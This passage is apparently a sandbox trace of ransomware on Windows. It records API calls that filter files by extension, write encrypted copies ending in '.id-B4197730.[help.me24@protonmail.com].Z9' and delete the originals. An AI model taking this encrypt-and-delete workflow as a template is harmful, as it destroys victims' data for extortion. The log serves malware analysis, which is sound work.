	[0161.681] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1
	[0161.681] lstrlenW (lpString=".pdf") returned 4
	[0161.681] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0161.681] lstrlenW (lpString=".xls") returned 4
	[0161.681] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0161.681] lstrlenW (lpString=".xlsx") returned 5
	[0161.681] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1
	[0161.681] lstrlenW (lpString=".ppt") returned 4
	[0161.681] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0161.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67
	[0161.681] lstrlenW (lpString=".zip") returned 4
	[0161.681] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0161.681] lstrlenW (lpString=".rar") returned 4
	[0161.681] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0161.681] lstrlenW (lpString=".bz2") returned 4
	[0161.681] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0161.681] lstrlenW (lpString=".7z") returned 3
	[0161.681] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0161.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67
	[0161.681] lstrlenW (lpString=".dbf") returned 4
	[0161.681] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0161.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67
	[0161.681] lstrlenW (lpString=".1cd") returned 4
	[0161.681] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0161.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 67
	[0161.681] lstrlenW (lpString=".jpg") returned 4
	[0161.682] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0161.682] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0161.682] lstrlenW (lpString="Roses.jpg") returned 9
	[0161.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.684] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=1920) returned 1
	[0161.684] CloseHandle (hObject=0x39c) returned 1
	[0161.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20
	[0161.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0161.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0161.685] lstrlenW (lpString=".doc") returned 4
	[0161.685] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0161.685] lstrlenW (lpString=".docx") returned 5
	[0161.685] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0161.685] lstrlenW (lpString=".pdf") returned 4
	[0161.685] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0161.685] lstrlenW (lpString=".xls") returned 4
	[0161.685] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0161.685] lstrlenW (lpString=".xlsx") returned 5
	[0161.685] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0161.685] lstrlenW (lpString=".ppt") returned 4
	[0161.685] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0161.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0161.685] lstrlenW (lpString=".zip") returned 4
	[0161.685] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0161.685] lstrlenW (lpString=".rar") returned 4
	[0161.685] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0161.685] lstrlenW (lpString=".bz2") returned 4
	[0161.685] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0161.685] lstrlenW (lpString=".7z") returned 3
	[0161.685] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0161.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0161.685] lstrlenW (lpString=".dbf") returned 4
	[0161.685] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0161.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0161.685] lstrlenW (lpString=".1cd") returned 4
	[0161.685] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0161.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0161.685] lstrlenW (lpString=".jpg") returned 4
	[0161.685] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0161.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0161.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0161.686] lstrlenW (lpString=".doc") returned 4
	[0161.686] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0161.686] lstrlenW (lpString=".docx") returned 5
	[0161.686] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0161.686] lstrlenW (lpString=".pdf") returned 4
	[0161.686] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0161.686] lstrlenW (lpString=".xls") returned 4
	[0161.686] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0161.686] lstrlenW (lpString=".xlsx") returned 5
	[0161.686] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0161.686] lstrlenW (lpString=".ppt") returned 4
	[0161.686] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0161.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0161.686] lstrlenW (lpString=".zip") returned 4
	[0161.686] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0161.686] lstrlenW (lpString=".rar") returned 4
	[0161.686] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0161.686] lstrlenW (lpString=".bz2") returned 4
	[0161.686] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0161.686] lstrlenW (lpString=".7z") returned 3
	[0161.686] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0161.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0161.686] lstrlenW (lpString=".dbf") returned 4
	[0161.686] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0161.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0161.686] lstrlenW (lpString=".1cd") returned 4
	[0161.686] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0161.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67
	[0161.686] lstrlenW (lpString=".jpg") returned 4
	[0161.686] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0161.686] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0161.686] lstrlenW (lpString="SoftBlue.jpg") returned 12
	[0161.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.689] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=10569) returned 1
	[0161.689] CloseHandle (hObject=0x39c) returned 1
	[0161.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20
	[0161.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70
	[0161.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70
	[0161.689] lstrlenW (lpString=".doc") returned 4
	[0161.689] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0161.689] lstrlenW (lpString=".docx") returned 5
	[0161.689] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1
	[0161.689] lstrlenW (lpString=".pdf") returned 4
	[0161.689] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0161.689] lstrlenW (lpString=".xls") returned 4
	[0161.690] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0161.690] lstrlenW (lpString=".xlsx") returned 5
	[0161.690] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1
	[0161.690] lstrlenW (lpString=".ppt") returned 4
	[0161.690] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0161.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70
	[0161.690] lstrlenW (lpString=".zip") returned 4
	[0161.690] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0161.690] lstrlenW (lpString=".rar") returned 4
	[0161.690] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0161.690] lstrlenW (lpString=".bz2") returned 4
	[0161.690] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0161.690] lstrlenW (lpString=".7z") returned 3
	[0161.690] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0161.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70
	[0161.690] lstrlenW (lpString=".dbf") returned 4
	[0161.690] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0161.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70
	[0161.690] lstrlenW (lpString=".1cd") returned 4
	[0161.690] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0161.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70
	[0161.690] lstrlenW (lpString=".jpg") returned 4
	[0161.690] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0161.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70
	[0161.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70
	[0161.690] lstrlenW (lpString=".doc") returned 4
	[0161.690] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0161.690] lstrlenW (lpString=".docx") returned 5
	[0161.690] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1
	[0161.690] lstrlenW (lpString=".pdf") returned 4
	[0161.690] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0161.690] lstrlenW (lpString=".xls") returned 4
	[0161.690] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0161.690] lstrlenW (lpString=".xlsx") returned 5
	[0161.690] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1
	[0161.690] lstrlenW (lpString=".ppt") returned 4
	[0161.691] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0161.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70
	[0161.691] lstrlenW (lpString=".zip") returned 4
	[0161.691] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0161.691] lstrlenW (lpString=".rar") returned 4
	[0161.691] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0161.691] lstrlenW (lpString=".bz2") returned 4
	[0161.691] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0161.691] lstrlenW (lpString=".7z") returned 3
	[0161.691] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0161.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70
	[0161.691] lstrlenW (lpString=".dbf") returned 4
	[0161.691] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0161.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70
	[0161.691] lstrlenW (lpString=".1cd") returned 4
	[0161.691] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0161.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 70
	[0161.691] lstrlenW (lpString=".jpg") returned 4
	[0161.691] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0161.691] lstrcmpiW (lpString1=".bmp", lpString2=".Z9") returned -1
	[0161.691] lstrlenW (lpString="verisign.bmp") returned 12
	[0161.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0161.693] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=2702) returned 1
	[0161.693] CloseHandle (hObject=0x39c) returned 1
	[0161.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20
	[0161.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0161.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0161.694] lstrlenW (lpString=".doc") returned 4
	[0161.694] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0161.694] lstrlenW (lpString=".docx") returned 5
	[0161.694] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0161.694] lstrlenW (lpString=".pdf") returned 4
	[0161.694] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0161.694] lstrlenW (lpString=".xls") returned 4
	[0161.694] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0161.694] lstrlenW (lpString=".xlsx") returned 5
	[0161.694] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0161.694] lstrlenW (lpString=".ppt") returned 4
	[0161.694] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0161.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0161.694] lstrlenW (lpString=".zip") returned 4
	[0161.694] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0161.694] lstrlenW (lpString=".rar") returned 4
	[0161.694] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0161.694] lstrlenW (lpString=".bz2") returned 4
	[0161.694] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0161.694] lstrlenW (lpString=".7z") returned 3
	[0161.694] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0161.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0163.428] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.428] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0163.969] GetLastError () returned 0x0
	[0163.969] ReadFile (in: hFile=0x3e0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x40d4, lpOverlapped=0x0) returned 1
	[0163.990] WriteFile (in: hFile=0x460, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x40e0, lpOverlapped=0x0) returned 1
	[0164.024] ReadFile (in: hFile=0x3e0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.024] WriteFile (in: hFile=0x460, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.025] SetEndOfFile (hFile=0x460) returned 1
	[0164.027] CloseHandle (hObject=0x460) returned 1
	[0164.027] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.027] SetEndOfFile (hFile=0x3e0) returned 1
	[0164.030] CloseHandle (hObject=0x3e0) returned 1
	[0164.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1
	[0164.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0164.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0164.031] lstrlenW (lpString=".doc") returned 4
	[0164.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.031] lstrlenW (lpString=".docx") returned 5
	[0164.031] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0164.031] lstrlenW (lpString=".pdf") returned 4
	[0164.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.032] lstrlenW (lpString=".xls") returned 4
	[0164.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.032] lstrlenW (lpString=".xlsx") returned 5
	[0164.032] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0164.032] lstrlenW (lpString=".ppt") returned 4
	[0164.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0164.032] lstrlenW (lpString=".zip") returned 4
	[0164.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.032] lstrlenW (lpString=".rar") returned 4
	[0164.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.032] lstrlenW (lpString=".bz2") returned 4
	[0164.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.032] lstrlenW (lpString=".7z") returned 3
	[0164.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0164.032] lstrlenW (lpString=".dbf") returned 4
	[0164.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0164.032] lstrlenW (lpString=".1cd") returned 4
	[0164.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0164.032] lstrlenW (lpString=".jpg") returned 4
	[0164.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0164.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0164.032] lstrlenW (lpString=".doc") returned 4
	[0164.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.032] lstrlenW (lpString=".docx") returned 5
	[0164.032] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0164.032] lstrlenW (lpString=".pdf") returned 4
	[0164.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.032] lstrlenW (lpString=".xls") returned 4
	[0164.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.032] lstrlenW (lpString=".xlsx") returned 5
	[0164.033] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0164.033] lstrlenW (lpString=".ppt") returned 4
	[0164.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0164.033] lstrlenW (lpString=".zip") returned 4
	[0164.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.033] lstrlenW (lpString=".rar") returned 4
	[0164.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.033] lstrlenW (lpString=".bz2") returned 4
	[0164.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.033] lstrlenW (lpString=".7z") returned 3
	[0164.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0164.033] lstrlenW (lpString=".dbf") returned 4
	[0164.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0164.033] lstrlenW (lpString=".1cd") returned 4
	[0164.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68
	[0164.033] lstrlenW (lpString=".jpg") returned 4
	[0164.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.033] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0164.033] lstrlenW (lpString="J0099155.JPG") returned 12
	[0164.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0164.037] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=8826) returned 1
	[0164.037] CloseHandle (hObject=0x460) returned 1
	[0164.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg")) returned 0x220
	[0164.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0164.038] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.038] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099155.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099155.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0164.038] GetLastError () returned 0x0
	[0164.038] ReadFile (in: hFile=0x460, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x227a, lpOverlapped=0x0) returned 1
